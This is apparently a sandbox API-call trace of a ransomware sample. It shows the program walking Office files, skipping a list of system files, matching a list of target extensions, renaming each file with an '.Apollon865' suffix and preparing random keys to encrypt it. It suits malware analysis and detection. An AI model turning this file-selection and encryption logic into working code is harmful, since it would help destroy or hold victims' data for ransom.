	[0069.051] lstrlenW (lpString="xml") returned 3
	[0069.051] lstrcmpiW (lpString1="XML", lpString2="xml") returned 0
	[0069.051] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL103.XML.Apollon865") returned 75
	[0069.051] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL103.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl103.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL103.XML.Apollon865" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl103.xml.apollon865"), dwFlags=0x1) returned 1
	[0069.053] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL103.XML.Apollon865" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl103.xml.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x15c
	[0069.053] GetFileSizeEx (in: hFile=0x15c, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=162542) returned 1
	[0069.053] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0069.053] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a8a8
	[0069.053] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf4e0
	[0069.053] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf700) returned 1
	[0069.054] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0069.054] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0069.054] CreateFileMappingW (hFile=0x15c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x27df0, lpName=0x0) returned 0x118
	[0069.056] MapViewOfFile (hFileMappingObject=0x118, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x27df0) returned 0x120000
	[0069.064] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf700) returned 1
	[0069.064] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0069.064] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0069.064] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59ab00
	[0069.064] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ab00 | out: hHeap=0x580000) returned 1
	[0069.064] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6668
	[0069.065] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0069.065] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6668 | out: hHeap=0x580000) returned 1
	[0069.065] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0069.065] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2b10
	[0069.065] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0069.065] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2b10 | out: hHeap=0x580000) returned 1
	[0069.065] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0069.065] UnmapViewOfFile (lpBaseAddress=0x120000) returned 1
	[0069.066] CloseHandle (hObject=0x118) returned 1
	[0069.066] CloseHandle (hObject=0x15c) returned 1
	[0069.067] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a8a8 | out: hHeap=0x580000) returned 1
	[0069.067] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf4e0 | out: hHeap=0x580000) returned 1
	[0069.067] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0069.067] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf61dc500, ftCreationTime.dwHighDateTime=0x1ca1702, ftLastAccessTime.dwLowDateTime=0x5a38ce90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf61dc500, ftLastWriteTime.dwHighDateTime=0x1ca1702, nFileSizeHigh=0x0, nFileSizeLow=0x1fcf2, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PGLBL104.XML", cAlternateFileName="")) returned 1
	[0069.067] lstrcmpiW (lpString1="PGLBL104.XML", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0069.068] lstrcmpiW (lpString1="PGLBL104.XML", lpString2="Apollon865.txt.exe") returned 1
	[0069.068] lstrcmpiW (lpString1="PGLBL104.XML", lpString2=".") returned 1
	[0069.068] lstrcmpiW (lpString1="PGLBL104.XML", lpString2="..") returned 1
	[0069.068] lstrcmpiW (lpString1="PGLBL104.XML", lpString2="windows") returned -1
	[0069.068] lstrcmpiW (lpString1="PGLBL104.XML", lpString2="bootmgr") returned 1
	[0069.068] lstrcmpiW (lpString1="PGLBL104.XML", lpString2="temp") returned -1
	[0069.068] lstrcmpiW (lpString1="PGLBL104.XML", lpString2="pagefile.sys") returned 1
	[0069.068] lstrcmpiW (lpString1="PGLBL104.XML", lpString2="boot") returned 1
	[0069.068] lstrcmpiW (lpString1="PGLBL104.XML", lpString2="ids.txt") returned 1
	[0069.068] lstrcmpiW (lpString1="PGLBL104.XML", lpString2="ntuser.dat") returned 1
	[0069.068] lstrcmpiW (lpString1="PGLBL104.XML", lpString2="perflogs") returned 1
	[0069.068] lstrcmpiW (lpString1="PGLBL104.XML", lpString2="MSBuild") returned 1
	[0069.068] lstrlenW (lpString="PGLBL104.XML") returned 12
	[0069.068] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL103.XML") returned 64
	[0069.068] lstrcpyW (in: lpString1=0x2d3e5b8, lpString2="PGLBL104.XML" | out: lpString1="PGLBL104.XML") returned="PGLBL104.XML"
	[0069.068] lstrlenW (lpString="PGLBL104.XML") returned 12
	[0069.068] lstrlenW (lpString="Apollon865") returned 10
	[0069.068] lstrcmpiW (lpString1="LBL104.XML", lpString2="Apollon865") returned 1
	[0069.068] lstrlenW (lpString=".dll") returned 4
	[0069.068] lstrcmpiW (lpString1="PGLBL104.XML", lpString2=".dll") returned 1
	[0069.068] lstrlenW (lpString=".lnk") returned 4
	[0069.068] lstrcmpiW (lpString1="PGLBL104.XML", lpString2=".lnk") returned 1
	[0069.068] lstrlenW (lpString=".ini") returned 4
	[0069.068] lstrcmpiW (lpString1="PGLBL104.XML", lpString2=".ini") returned 1
	[0069.068] lstrlenW (lpString=".sys") returned 4
	[0069.068] lstrcmpiW (lpString1="PGLBL104.XML", lpString2=".sys") returned 1
	[0069.068] lstrlenW (lpString="PGLBL104.XML") returned 12
	[0069.068] lstrlenW (lpString="bak") returned 3
	[0069.068] lstrcmpiW (lpString1="XML", lpString2="bak") returned 1
	[0069.068] lstrlenW (lpString="ba_") returned 3
	[0069.068] lstrcmpiW (lpString1="XML", lpString2="ba_") returned 1
	[0069.068] lstrlenW (lpString="dbb") returned 3
	[0069.068] lstrcmpiW (lpString1="XML", lpString2="dbb") returned 1
	[0069.068] lstrlenW (lpString="vmdk") returned 4
	[0069.068] lstrcmpiW (lpString1=".XML", lpString2="vmdk") returned -1
	[0069.068] lstrlenW (lpString="rar") returned 3
	[0069.069] lstrcmpiW (lpString1="XML", lpString2="rar") returned 1
	[0069.069] lstrlenW (lpString="zip") returned 3
	[0069.069] lstrcmpiW (lpString1="XML", lpString2="zip") returned -1
	[0069.069] lstrlenW (lpString="tgz") returned 3
	[0069.069] lstrcmpiW (lpString1="XML", lpString2="tgz") returned 1
	[0069.069] lstrlenW (lpString="vbox") returned 4
	[0069.069] lstrcmpiW (lpString1=".XML", lpString2="vbox") returned -1
	[0069.069] lstrlenW (lpString="vdi") returned 3
	[0069.069] lstrcmpiW (lpString1="XML", lpString2="vdi") returned 1
	[0069.069] lstrlenW (lpString="vhd") returned 3
	[0069.069] lstrcmpiW (lpString1="XML", lpString2="vhd") returned 1
	[0069.069] lstrlenW (lpString="vhdx") returned 4
	[0069.069] lstrcmpiW (lpString1=".XML", lpString2="vhdx") returned -1
	[0069.069] lstrlenW (lpString="avhd") returned 4
	[0069.069] lstrcmpiW (lpString1=".XML", lpString2="avhd") returned -1
	[0069.069] lstrlenW (lpString="db") returned 2
	[0069.069] lstrcmpiW (lpString1="ML", lpString2="db") returned 1
	[0069.069] lstrlenW (lpString="db2") returned 3
	[0069.069] lstrcmpiW (lpString1="XML", lpString2="db2") returned 1
	[0069.069] lstrlenW (lpString="db3") returned 3
	[0069.069] lstrcmpiW (lpString1="XML", lpString2="db3") returned 1
	[0069.069] lstrlenW (lpString="dbf") returned 3
	[0069.069] lstrcmpiW (lpString1="XML", lpString2="dbf") returned 1
	[0069.069] lstrlenW (lpString="mdf") returned 3
	[0069.069] lstrcmpiW (lpString1="XML", lpString2="mdf") returned 1
	[0069.069] lstrlenW (lpString="mdb") returned 3
	[0069.069] lstrcmpiW (lpString1="XML", lpString2="mdb") returned 1
	[0069.069] lstrlenW (lpString="sql") returned 3
	[0069.069] lstrcmpiW (lpString1="XML", lpString2="sql") returned 1
	[0069.069] lstrlenW (lpString="sqlite") returned 6
	[0069.069] lstrcmpiW (lpString1="04.XML", lpString2="sqlite") returned -1
	[0069.069] lstrlenW (lpString="sqlite3") returned 7
	[0069.069] lstrcmpiW (lpString1="104.XML", lpString2="sqlite3") returned -1
	[0069.069] lstrlenW (lpString="sqlitedb") returned 8
	[0069.069] lstrcmpiW (lpString1="L104.XML", lpString2="sqlitedb") returned -1
	[0069.069] lstrlenW (lpString="xml") returned 3
	[0069.069] lstrcmpiW (lpString1="XML", lpString2="xml") returned 0
	[0069.069] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL104.XML.Apollon865") returned 75
	[0069.070] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL104.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl104.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL104.XML.Apollon865" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl104.xml.apollon865"), dwFlags=0x1) returned 1
	[0069.070] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL104.XML.Apollon865" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl104.xml.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x15c
	[0069.070] GetFileSizeEx (in: hFile=0x15c, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=130290) returned 1
	[0069.070] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0069.071] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a8a8
	[0069.071] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf4e0
	[0069.071] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf700) returned 1
	[0069.071] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0069.071] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0069.072] CreateFileMappingW (hFile=0x15c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x20000, lpName=0x0) returned 0x118
	[0069.073] MapViewOfFile (hFileMappingObject=0x118, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x20000) returned 0x120000
	[0069.081] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf700) returned 1
	[0069.081] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0069.081] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0069.082] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59ab00
	[0069.082] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ab00 | out: hHeap=0x580000) returned 1
	[0069.082] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6668
	[0069.082] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0069.082] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6668 | out: hHeap=0x580000) returned 1
	[0069.082] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0069.082] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2f60
	[0069.082] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0069.082] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2f60 | out: hHeap=0x580000) returned 1
	[0069.082] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0069.082] UnmapViewOfFile (lpBaseAddress=0x120000) returned 1
	[0069.083] CloseHandle (hObject=0x118) returned 1
	[0069.083] CloseHandle (hObject=0x15c) returned 1
	[0069.083] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a8a8 | out: hHeap=0x580000) returned 1
	[0069.083] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf4e0 | out: hHeap=0x580000) returned 1
	[0069.083] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0069.084] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7ffeb200, ftCreationTime.dwHighDateTime=0x1c9fa22, ftLastAccessTime.dwLowDateTime=0x6ce23630, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7ffeb200, ftLastWriteTime.dwHighDateTime=0x1c9fa22, nFileSizeHigh=0x0, nFileSizeLow=0x15090, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PGLBL105.XML", cAlternateFileName="")) returned 1
	[0069.084] lstrcmpiW (lpString1="PGLBL105.XML", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0069.084] lstrcmpiW (lpString1="PGLBL105.XML", lpString2="Apollon865.txt.exe") returned 1
	[0069.084] lstrcmpiW (lpString1="PGLBL105.XML", lpString2=".") returned 1
	[0069.084] lstrcmpiW (lpString1="PGLBL105.XML", lpString2="..") returned 1
	[0069.084] lstrcmpiW (lpString1="PGLBL105.XML", lpString2="windows") returned -1
	[0069.084] lstrcmpiW (lpString1="PGLBL105.XML", lpString2="bootmgr") returned 1
	[0069.084] lstrcmpiW (lpString1="PGLBL105.XML", lpString2="temp") returned -1
	[0069.084] lstrcmpiW (lpString1="PGLBL105.XML", lpString2="pagefile.sys") returned 1
	[0069.084] lstrcmpiW (lpString1="PGLBL105.XML", lpString2="boot") returned 1
	[0069.084] lstrcmpiW (lpString1="PGLBL105.XML", lpString2="ids.txt") returned 1
	[0069.084] lstrcmpiW (lpString1="PGLBL105.XML", lpString2="ntuser.dat") returned 1
	[0069.084] lstrcmpiW (lpString1="PGLBL105.XML", lpString2="perflogs") returned 1
	[0069.084] lstrcmpiW (lpString1="PGLBL105.XML", lpString2="MSBuild") returned 1
	[0069.084] lstrlenW (lpString="PGLBL105.XML") returned 12
	[0069.085] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL104.XML") returned 64
	[0069.085] lstrcpyW (in: lpString1=0x2d3e5b8, lpString2="PGLBL105.XML" | out: lpString1="PGLBL105.XML") returned="PGLBL105.XML"
	[0069.085] lstrlenW (lpString="PGLBL105.XML") returned 12
	[0069.085] lstrlenW (lpString="Apollon865") returned 10
	[0069.085] lstrcmpiW (lpString1="LBL105.XML", lpString2="Apollon865") returned 1
	[0069.085] lstrlenW (lpString=".dll") returned 4
	[0069.085] lstrcmpiW (lpString1="PGLBL105.XML", lpString2=".dll") returned 1
	[0069.085] lstrlenW (lpString=".lnk") returned 4
	[0069.085] lstrcmpiW (lpString1="PGLBL105.XML", lpString2=".lnk") returned 1
	[0069.085] lstrlenW (lpString=".ini") returned 4
	[0069.085] lstrcmpiW (lpString1="PGLBL105.XML", lpString2=".ini") returned 1
	[0069.085] lstrlenW (lpString=".sys") returned 4
	[0069.085] lstrcmpiW (lpString1="PGLBL105.XML", lpString2=".sys") returned 1
	[0069.085] lstrlenW (lpString="PGLBL105.XML") returned 12
	[0069.085] lstrlenW (lpString="bak") returned 3
	[0069.085] lstrcmpiW (lpString1="XML", lpString2="bak") returned 1
	[0069.085] lstrlenW (lpString="ba_") returned 3
	[0069.085] lstrcmpiW (lpString1="XML", lpString2="ba_") returned 1
	[0069.085] lstrlenW (lpString="dbb") returned 3
	[0069.085] lstrcmpiW (lpString1="XML", lpString2="dbb") returned 1
	[0069.085] lstrlenW (lpString="vmdk") returned 4
	[0069.085] lstrcmpiW (lpString1=".XML", lpString2="vmdk") returned -1
	[0069.085] lstrlenW (lpString="rar") returned 3
	[0069.085] lstrcmpiW (lpString1="XML", lpString2="rar") returned 1
	[0069.085] lstrlenW (lpString="zip") returned 3
	[0069.085] lstrcmpiW (lpString1="XML", lpString2="zip") returned -1
	[0069.085] lstrlenW (lpString="tgz") returned 3
	[0069.085] lstrcmpiW (lpString1="XML", lpString2="tgz") returned 1
	[0069.085] lstrlenW (lpString="vbox") returned 4
	[0069.085] lstrcmpiW (lpString1=".XML", lpString2="vbox") returned -1
	[0069.085] lstrlenW (lpString="vdi") returned 3
	[0069.085] lstrcmpiW (lpString1="XML", lpString2="vdi") returned 1
	[0069.085] lstrlenW (lpString="vhd") returned 3
	[0069.085] lstrcmpiW (lpString1="XML", lpString2="vhd") returned 1
	[0069.085] lstrlenW (lpString="vhdx") returned 4
	[0069.085] lstrcmpiW (lpString1=".XML", lpString2="vhdx") returned -1
	[0069.085] lstrlenW (lpString="avhd") returned 4
	[0069.085] lstrcmpiW (lpString1=".XML", lpString2="avhd") returned -1
	[0069.086] lstrlenW (lpString="db") returned 2
	[0069.086] lstrcmpiW (lpString1="ML", lpString2="db") returned 1
	[0069.086] lstrlenW (lpString="db2") returned 3
	[0069.086] lstrcmpiW (lpString1="XML", lpString2="db2") returned 1
	[0069.086] lstrlenW (lpString="db3") returned 3
	[0069.086] lstrcmpiW (lpString1="XML", lpString2="db3") returned 1
	[0069.086] lstrlenW (lpString="dbf") returned 3
	[0069.086] lstrcmpiW (lpString1="XML", lpString2="dbf") returned 1
	[0069.086] lstrlenW (lpString="mdf") returned 3
	[0069.086] lstrcmpiW (lpString1="XML", lpString2="mdf") returned 1
	[0069.086] lstrlenW (lpString="mdb") returned 3
	[0069.086] lstrcmpiW (lpString1="XML", lpString2="mdb") returned 1
	[0069.086] lstrlenW (lpString="sql") returned 3
	[0069.086] lstrcmpiW (lpString1="XML", lpString2="sql") returned 1
	[0069.086] lstrlenW (lpString="sqlite") returned 6
	[0069.086] lstrcmpiW (lpString1="05.XML", lpString2="sqlite") returned -1
	[0069.086] lstrlenW (lpString="sqlite3") returned 7
	[0069.086] lstrcmpiW (lpString1="105.XML", lpString2="sqlite3") returned -1
	[0069.086] lstrlenW (lpString="sqlitedb") returned 8
	[0069.086] lstrcmpiW (lpString1="L105.XML", lpString2="sqlitedb") returned -1
	[0069.086] lstrlenW (lpString="xml") returned 3
	[0069.086] lstrcmpiW (lpString1="XML", lpString2="xml") returned 0
	[0069.086] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL105.XML.Apollon865") returned 75
	[0069.086] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL105.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl105.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL105.XML.Apollon865" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl105.xml.apollon865"), dwFlags=0x1) returned 1
	[0069.087] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL105.XML.Apollon865" (normalized: "c:\\program files\\microsoft office\\office14\\pagesize\\pglbl105.xml.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x15c
	[0069.087] GetFileSizeEx (in: hFile=0x15c, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=86160) returned 1
	[0069.087] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0069.087] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a8a8
	[0069.087] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf4e0
	[0069.087] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf700) returned 1
	[0069.088] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0069.088] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0069.088] CreateFileMappingW (hFile=0x15c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x15390, lpName=0x0) returned 0x118
	[0069.090] MapViewOfFile (hFileMappingObject=0x118, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x15390) returned 0x120000
	[0069.094] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf700) returned 1
	[0069.094] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0069.094] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0069.095] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59ab00
	[0069.095] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ab00 | out: hHeap=0x580000) returned 1
	[0069.095] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6668
	[0069.095] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0069.095] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6668 | out: hHeap=0x580000) returned 1
	[0069.095] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0069.095] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2b10
	[0069.095] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0069.095] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2b10 | out: hHeap=0x580000) returned 1
	[0069.095] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0069.095] UnmapViewOfFile (lpBaseAddress=0x120000) returned 1
	[0069.096] CloseHandle (hObject=0x118) returned 1
	[0069.096] CloseHandle (hObject=0x15c) returned 1
	[0069.096] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a8a8 | out: hHeap=0x580000) returned 1
	[0069.096] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf4e0 | out: hHeap=0x580000) returned 1
	[0069.096] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0069.097] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd2fb7700, ftCreationTime.dwHighDateTime=0x1ca1b41, ftLastAccessTime.dwLowDateTime=0x5a38ce90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd2fb7700, ftLastWriteTime.dwHighDateTime=0x1ca1b41, nFileSizeHigh=0x0, nFileSizeLow=0x9ae4, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PGLBL106.XML", cAlternateFileName="")) returned 1
	[0069.097] lstrcmpiW (lpString1="PGLBL106.XML", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0069.097] lstrcmpiW (lpString1="PGLBL106.XML", lpString2="Apollon865.txt.exe") returned 1
	[0069.097] lstrcmpiW (lpString1="PGLBL106.XML", lpString2=".") returned 1
	[0069.097] lstrcmpiW (lpString1="PGLBL106.XML", lpString2="..") returned 1
	[0069.097] lstrcmpiW (lpString1="PGLBL106.XML", lpString2="windows") returned -1
	[0069.097] lstrcmpiW (lpString1="PGLBL106.XML", lpString2="bootmgr") returned 1
	[0069.097] lstrcmpiW (lpString1="PGLBL106.XML", lpString2="temp") returned -1
	[0069.097] lstrcmpiW (lpString1="PGLBL106.XML", lpString2="pagefile.sys") returned 1
	[0069.097] lstrcmpiW (lpString1="PGLBL106.XML", lpString2="boot") returned 1
	[0069.097] lstrcmpiW (lpString1="PGLBL106.XML", lpString2="ids.txt") returned 1
	[0069.097] lstrcmpiW (lpString1="PGLBL106.XML", lpString2="ntuser.dat") returned 1
	[0069.097] lstrcmpiW (lpString1="PGLBL106.XML", lpString2="perflogs") returned 1
	[0069.097] lstrcmpiW (lpString1="PGLBL106.XML", lpString2="MSBuild") returned 1
	[0069.097] lstrlenW (lpString="PGLBL106.XML") returned 12
	[0069.097] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\PAGESIZE\\PGLBL105.XML") returned 64
	[0069.097] lstrcpyW (in: lpString1=0x2d3e5b8, lpString2="PGLBL106.XML" | out: lpString1="PGLBL106.XML") returned="PGLBL106.XML"
	[0069.097] lstrlenW (lpString="PGLBL106.XML") returned 12
	[0069.097] lstrlenW (lpString="Apollon865") returned 10
	[0069.097] lstrcmpiW (lpString1="LBL106.XML", lpString2="Apollon865") returned 1
	[0069.097] lstrlenW (lpString=".dll") returned 4
	[0069.097] lstrcmpiW (lpString1="PGLBL106.XML", lpString2=".dll") returned 1
	[0069.097] lstrlenW (lpString=".lnk") returned 4
	[0069.097] lstrcmpiW (lpString1="PGLBL106.XML", lpString2=".lnk") returned 1
	[0069.097] lstrlenW (lpString=".ini") returned 4
	[0069.097] lstrcmpiW (lpString1="PGLBL106.XML", lpString2=".ini") returned 1
	[0069.097] lstrlenW (lpString=".sys") returned 4
	[0069.097] lstrcmpiW (lpString1="PGLBL106.XML", lpString2=".sys") returned 1
	[0069.097] lstrlenW (lpString="PGLBL106.XML") returned 12
	[0069.097] lstrlenW (lpString="bak") returned 3
	[0069.097] lstrcmpiW (lpString1="XML", lpString2="bak") returned 1
	[0069.098] lstrlenW (lpString="ba_") returned 3
	[0069.098] lstrcmpiW (lpString1="XML", lpString2="ba_") returned 1
	[0069.098] lstrlenW (lpString="dbb") returned 3
	[0069.098] lstrcmpiW (lpString1="XML", lpString2="dbb") returned 1
	[0069.098] lstrlenW (lpString="vmdk") returned 4
	[0069.098] lstrcmpiW (lpString1=".XML", lpString2="vmdk") returned -1
